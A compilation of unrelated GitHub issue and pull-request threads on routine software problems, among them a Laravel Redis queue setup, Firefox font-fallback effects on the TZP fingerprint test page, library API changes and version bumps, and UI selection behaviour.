Q: Laravel Queue=Redis - Broadcast events in queue but never fetched

Hi there
I have a question regarding setting up QUEUE_DRIVER to redis and using pusher as laravel websockets connection.
Everything is running and configured. If I check the redis commander, I can see my events being broadcasted into the Redis Queue. But they are never pulled and send to the client.
If I set everything back to "normal"/sync, all is working fine. As soon as I try to use Redis only for the queue driver it is not working anymore.
Anybody got any idea where I should be looking at or what the problem could be? Or a configuration I am missing? Similar issue was opened with #151 but closed without answer. Any help is highly appreciated.
Also, sometimes, but only sometimes, I get this output from websocket:serve:
Exception `ErrorException` thrown: `Undefined property: stdClass::$auth`
kleinekrone: exception `ErrorException` thrown: `Undefined property: stdClass::$auth

But I have no reproducible test case when that happens.
Thanks a lot in advance

Ok, my bad again ^^
I had to run websocket:serve as well as queue:listen. I wasn't aware of that. Sorry.
Maybe this helps some other searches in the future.
Sorry for bothering ^^


fix determine merge iterator considering segment num

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall


LSTM Stock Prediction

This project is stock prediction model.
In this project I have used Google stock dataset which is open sourced one. I explain how to build an LSTM-based Recurrent Neural Network (RNN) to predict Google stock price step by step.

Great Project, Thanks for contributing


Button target  doesn't set

I can't set targets on buttons on Chrome browser. On Safari browser it's working right, what can be the problem.
Thanks in advance!

Just got a patch from @MikeMaxFR that fixed this. Merged into master.


[ip6] add public APIs to convert an IPv6 address or prefix to string

This commit adds new public OpenThread APIs to convert an IPv6 address
or an IPv6 prefix to a human-readable string representation. The
implementation is shared with the Address/Prefix::ToString() used by
core modules (through adding a private ToString(StringWriter &)
method which can then be used with a String<kSize> or a char
buffer).

@abtink what about replacing the implementation in https://github.com/openthread/openthread/blob/main/src/posix/platform/ip6_utils.hpp with your change?

Thanks. Good suggestion. I was not aware of this util file. Will change it in the next push. 👍


FF86+: font fallback doesn't wait to render: affects tests using unicode glyphs

In FF86+

open a new FF session
load TZP: https://arkenfox.github.io/TZP/tzp.html#fonts
click font section rerun, or reload the page: the fingerprint changes

I narrowed this down to anything that uses the unicode glyphs
in my case it is the char u+20BA, but may vary depending on default fonts (web languages) and what fonts are on the system

u+20BA  = TURKISH LIRA SIGN
I am not blocking any fonts, I am not using RFP, practically vanilla profile
Am on Win7 but toggling and restarting FF with gfx.bundled-fonts.activate as -1, 0, and 1 makes no difference
I am not missing any windows fonts
I am en-US build on an en- system locale/language
languages is en-US,en

you can just look in the unicode details section
  glyph        default     sans-serif          serif      monospace        cursive        fantasy
  -----
// unstable: first load in FF session
u+20BA     802 x 2300     883 x 2320     802 x 2300    1200 x 2426     937 x 2787     883 x 2320
// stable: rerun, reload etc
u+20BA     801 x 2441     801 x 2441     801 x 2441     801 x 2505     801 x 2787     801 x 2441

I am not sure if this is a Firefox bug, and to me (IANAExpert), it seems like font fallback or something may be slow?
I have a workaround, which is as soon as the fonts.js file lands, to do a "priming" run promise which checks the codepoints offsets in a single style (to do as little as possible)

if you don't measure them, the priming fails
if you don't use the actual glyphs (codepoints), the priming fails
it still eats up 70+ms

This seems like a bit of a hack, and I'd rather find out why this happens and get it fixed

Grrr .. https://www.bamsoftware.com/talks/fc15-fontfp/fontfp.html#demo
seems stable to me? Maybe it's because the font sizes are so small

Grrr .. https://www.bamsoftware.com/talks/fc15-fontfp/fontfp.html#demo
seems stable to me? Maybe it's because the font sizes are so small

OK, it's "by design": FF86+

1676966
gfx.font_rendering.fallback.async (default true)

https://bugzilla.mozilla.org/show_bug.cgi?id=1687622#c3

... characters [that] aren't supported by the default system fonts, so we do a font fallback search to try and render them, and since bug 1676966 we no longer block rendering on that search; instead we refresh once it completes

OK, it's "by design": FF86+

1676966
gfx.font_rendering.fallback.async (default true)

https://bugzilla.mozilla.org/show_bug.cgi?id=1687622#c3

... characters [that] aren't supported by the default system fonts, so we do a font fallback search to try and render them, and since bug 1676966 we no longer block rendering on that search; instead we refresh once it completes

@abrahamjuliot ^ that probably has repercussions for you as well

@abrahamjuliot ^ that probably has repercussions for you as well

My workaround was

https://github.com/arkenfox/TZP/commit/6ad08b14a34991e2f3d4781cbfef2f92ef1c7770

Since I don't kick anything off until all js modules have arrived, the order I request them does not matter. I moved fonts.js to first in the queue to allow more time

https://github.com/arkenfox/TZP/commit/847485f522c53b6f6d3870508b78fbcd136f15e7

When fonts.js arrives, it autoruns setting the unicode chars in a string in an offscreen div

I'm not sure if this will always be sufficient 1687622 indicates anecdotally about a 2sec lag on some chars on a MacOS  - but I don't know how to code around

My workaround was

https://github.com/arkenfox/TZP/commit/6ad08b14a34991e2f3d4781cbfef2f92ef1c7770

Since I don't kick anything off until all js modules have arrived, the order I request them does not matter. I moved fonts.js to first in the queue to allow more time

https://github.com/arkenfox/TZP/commit/847485f522c53b6f6d3870508b78fbcd136f15e7

When fonts.js arrives, it autoruns setting the unicode chars in a string in an offscreen div

I'm not sure if this will always be sufficient 1687622 indicates anecdotally about a 2sec lag on some chars on a MacOS  - but I don't know how to code around

I added a timing check so I could track how much time I gave the font fallback search to re-render. The time is from immediately after setting the char string in the element... until I start iterating the glyphs. It varies from 500+ for me (and works)

I added a timing check so I could track how much time I gave the font fallback search to re-render. The time is from immediately after setting the char string in the element... until I start iterating the glyphs. It varies from 500+ for me (and works)

Tests: (load each test in a new browser session)

webbrowsertools.com - for me: the Fingerprint ID changed after a refresh (F5)
Canvas Blocker - for me: the hashes all changed on clicking Refresh
BrowserLeaks - for me: both fingerprints changed on a page reload (F5)

TZP

sweeet .. FP is stable on first load and subsequent re-runs and page loads, refreshes
All Hail Pants

Tests: (load each test in a new browser session)

webbrowsertools.com - for me: the Fingerprint ID changed after a refresh (F5)
Canvas Blocker - for me: the hashes all changed on clicking Refresh
BrowserLeaks - for me: both fingerprints changed on a page reload (F5)

TZP

sweeet .. FP is stable on first load and subsequent re-runs and page loads, refreshes
All Hail Pants

this is much easier and cleaner to just set directly in HTML

	₹ ▁ ₺ ꜽ � ₸ ׆ ẞ ॿ  ᳚
	៝ ⎮ ം ஂ ᅚ ␥ 〮 ꠰ ⬆ ⇤ ₽
	ⱻ ₰ ﯮ    Ⴀ 𝞐 ܀ ᥐ ゕ
	匭  ⃣  Ș ֏ ࣤ ঳ ᱐ ☙

for posterity
// FF86+ 1676966: gfx.font_rendering.fallback.async
	// when chars trigger global fallback search (iterating over all available fonts to try and render
	// the char) FF starts loading the character map data required to support this, but no longer allows
	// this to block layout & rendering; instead, FF continues to render (perhaps rendering tofu) while the
	// loading happens in the background, and then re-layout/renders the document once loading is complete


Create async thunks factory

Hi,
I am working on a new API for createAsyncThunk. Here is the proposal on the @redux/toolkit repo.

Why? what's wrong with createAsyncThunk from RTK?

You can read the RFC but basically, it remove the need to explicitly provide type that can be inferred from usage:
Before (you need to explicitly provide the return type Todo and AsyncThunkConfig :
const thunks= {
  addTodo: createAsyncThunk<Todo, CreateTodo, AsyncThunkConfig>(
     `${name}/addTodo`,
     async (newTodo, { extra }) => extra.todoApi.createTodo(newTodo)
   ),
};

After (you only need to provide the argument type CreateTodo, and the thunk is named for you based on the last portion of the typePrefix):
const thunks= {
  ...createAsyncThunk()(
     `${name}/addTodo`,
     async (newTodo: CreateTodo, { extra }) => extra.todoApi.createTodo(newTodo)
   ),
};


Version 3

I just released version 3. This is a complete rewrite using the new Worker and SharedWorker syntax.
Please update!
Migration-guide:

If you use vite-plugin-comlink with service-worker this will not work anymore so remove them please! If vite adds service-worker build support I will add it!
Remove vite-plugin-worker and vite-plugin-bundle
Update vite config.
Remove all options. Custom-config is no longer supported and tsfile is removed (how to use it with types see readme).
You can still run the "old" import syntax but that is deprecated and will be removed in version 4 (so you have some time to switch!!!)

The plugin will log some deprecation messages if you use syntax that will be removed.
With this release I stop maintaining vite-plugin-worker and vite-plugin-bundle as those where just workarounds for missing vite-features.

@mathe42 This new version is very promising.
We have tried it, and it works quite fine, but we detected that the source map generated is using a different hash value than the worker.js generated.
This is the config we are using:
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import svgr from "@svgr/rollup";
import envCompatible from "vite-plugin-env-compatible";
import comlink from "vite-plugin-comlink";
import {
  CUSTOM_ALIASES,
  PROBLEMATIC_LIBRARIES,
  POLYFILLS
} from "./config/aliases";

export default defineConfig({
  plugins: [
    react(),
    svgr({ svgo: false }),
    envCompatible({ prefix: "REACT_APP", mountedPath: "process.env" }),
    comlink()
  ],
  worker: {
    plugins: [
      comlink()
    ]
  },
  optimizeDeps: {
    include: ["comlink"]
  },
  server: {
    host: true,
    port: 3000
  },
  build: {
    outDir: "build",
    sourcemap: "hidden"
  },
  resolve: {
    alias: {
      ...CUSTOM_ALIASES,
      ...PROBLEMATIC_LIBRARIES,
      ...POLYFILLS
    }
  }
});

We are importing the Worker this way:
import * as Comlink from "comlink";

const worker = new ComlinkWorker(new URL("./worker", import.meta.url));

If this info is not enough I can try to reproduce it with a blank project.


v0.5.3 is a breaking change

https://github.com/hokaccha/node-jwt-simple/compare/v0.5.1...v0.5.3#diff-e41c65498b26286ad5bf2a9f21ff0722R79
This above code changes the default encoding that breaks callers who depend on the old handling.
In our case the header specifies an encoding that is not RS256 which the new code ignores.
I suggest that you rev the minor version, with an explanation of the change in the README.md
That at least will spare folks the research into why decoding is broken (for that subset of users.)
Thank you much

I realize that semver would dictate the major version be rev'd for non-backwards compatible changes, but I can imagine you might not want to release v1.0.0 with only that announcement.


Spec Change: Allow injectors and extractors to be separate interfaces

Link to spec PR: https://github.com/open-telemetry/opentelemetry-specification/pull/578

OTEP-66 originally had the propagator interface divided into separate Injectors and Extractors. In OpenTelemetry Ruby we found some advantages to this division. For example, you can have asymmetry in the formats that are injected / extracted, and there are situations where order matters. By dividing Propagators into Injectors and Extractors you can still implement the Propagator and CompositePropagator interfaces by composing individual Injectors and Extractors. This PR updates the api-propagators spec  to allow for that possibility.

@mwear would you like to take a look at this and see how it can be applied?

This doesn't require a change to OpenTemetry JS. It allows propagators to be split into injectors and extractors if it makes sense. You will still have a Propagator (and CompositePropagator) interface, they will just be composed of individual extractors and injectors. If this is something the SIG would like to do, the spec change allows for it, but it's not required.

Closing as the issue is no longer applicable.


DNN-6163 - additional fix.

Fixed the Partial Matching of the hostname of an alias not working in all circumstances.
See: https://dnntracker.atlassian.net/browse/DNN-6163?focusedCommentId=69052&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-69052

there are a few unexpected commits to Build_Upgrade_Package.bat & Build_Install_Package.bat -if you could remove them from your branch it would be great. If not, I will do a manual merge of this pull request later this week and remove them myself

my apologies, I clicked merge by mistake - I will manually merge the PortalAliasExtensions.cs  change . I will mark this as merged so that Rob get's credit

humm, apparently old pull requests gets updated with new modifications. I didn't knew that. I'll try to organize my work differently in the future.
Let me try to find a blogpost on this..... ok, found it.
http://dnn-connect.org/community/blogs/contributing-to-the-dnn-platform-using-git-and-github


Update compilerplugin, scalapb-runtime to 0.10.1

Updates

com.thesamet.scalapb:compilerplugin
com.thesamet.scalapb:scalapb-runtime

from 0.7.4 to 0.10.1.
GitHub Release Notes - Changelog - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "com.thesamet.scalapb" } ]

labels: library-update, semver-minor

superseded


Workfiles: Saving artist note workfile_info id error

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior:
In workfiles tool when saving an artist note I sometimes get this error:
# Traceback (most recent call last):
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\widgets\side_panel.py", line 107, in _on_save_click
#     self._controller.save_workfile_info(
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\control.py", line 448, in save_workfile_info
#     self._workfiles_model.save_workfile_info(
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\models\workfiles.py", line 702, in save_workfile_info
#     self._entities_model.save_workfile_info(
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\models\workfiles.py", line 547, in save_workfile_info
#     workfile_info["id"],
# KeyError: 'id'

It does seem to save the note - but it does error.
Expected Behavior:
No errors.
Version
1.0.0
What platform you are running on?
Windows
Steps To Reproduce:

Open Workfile tool
Press "Save As" to create a new save.
For the new workfile, save an artist note.

(Tested in Maya 2024)
Are there any labels you wish to add?

[X] I have added the relevant labels to the bug report.

Relevant log output:
# Traceback (most recent call last):
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\widgets\side_panel.py", line 107, in _on_save_click
#     self._controller.save_workfile_info(
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\control.py", line 448, in save_workfile_info
#     self._workfiles_model.save_workfile_info(
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\models\workfiles.py", line 702, in save_workfile_info
#     self._entities_model.save_workfile_info(
#   File "E:\dev\ayon-core\client\ayon_core\tools\workfiles\models\workfiles.py", line 547, in save_workfile_info
#     workfile_info["id"],
# KeyError: 'id'

Additional context:
No response

This was fixed with https://github.com/ynput/ayon-core/pull/647
This issue was also reported on discord here


feat: expose all turnstile options

🆒 Your use case
here is a list of options you can send to turnstile.  However the nuxt wrapper doesnt include all of them.   One example of this would be the execution option
🆕 The solution you'd like
add alll the currently supported options to the nuxt wrapper find the list here under configurations
🔍 Alternatives you've considered
No response
ℹ Additional info
No response

The most recent version of this module uses @types/cloudflare-turnstile which should make pretty much all options available. If something's missing, the upstream module can be amended.


Why remove find() opts from find_one()?

https://github.com/ericmj/mongodb/blob/master/lib/mongo.ex#L396
This recently bit me during a refactoring.  Why remove the sort/order_by opts from find_one() when it is just a proxy to find()?  Without explicitly warning the user, it seems like it would be better to either honor the opts or raise if they are present.
Thoughts?  I'd be happy to submit a PR if a change is desired.

If you need sort/order_by you should use find and with limit: 1.

The official driver does the same thing: https://docs.mongodb.com/manual/reference/method/db.collection.findOne/


Default Ajax request to backend into the callback

It could be useful to create a default http ajax request the to backend for user's response verification.
So you can use the angular-no-captcha module more like a service, binding directly the verification response to disable/enable submit button (ie.)

Why would you do that?
You can enable or disable submit button by gRecaptchaResponse. If it has a value, you can enable submit button. And even if you would verificate response by ajax, you need to do that again when form is submitted.

Yes you can enable it only after response and verify response sending it in POST with form's data.
I thought if you do response-verification in one step you can prevent the form submit to another request. So you can use verification like a web-service.
Anyway I'm using it in nodejs RESTfull application, where I can send response with form's data and verificate the user's response with a "recaptcha" middleware. Is it true?

Why you need to verify the response before sending the forms data?

Becouse if the response is not success you have a bot, so don't send the forms data

You wont be able to prevent a bot from sending the form by using front end methods like disabling a button. The validation should happen in the backend before any data is being saved. Using backend validation is the only way to really assure that the one sending you data is not a bot and this is the whole reason why reCaptcha exists.

Is it true. Sorry


Added indeterminate state support

I added indeterminate state support, may be a little ugly right now because I had to rush it but it may help someone.

Use the data indeterminate data attribute to enable it like so:
Then you can set the state like:
$('#toggle').prop('indeterminate', true).change();
And check the state with: $("#toggle").prop("indeterminate")

Ty, your answer helped me a lot.


Command + click within a selection has everything start again

Again, modelling after OSX, this is how I'd expect things to behave:
https://screencast.com/t/ECvSV1yIiAIe
Notice that the "pivot point" after the deselection via Command+click is the next "element". Namely, the Public folder
This is how things behave in the demo:
https://screencast.com/t/G0MFtjNiK
Would be great to have this work the same way as OSX (and I'm guessing, Windows?)

Working on it!

I've improved some selection combos. It's not 100% identical as OSX but i think it's a good behavior. Try it and let me know! ;)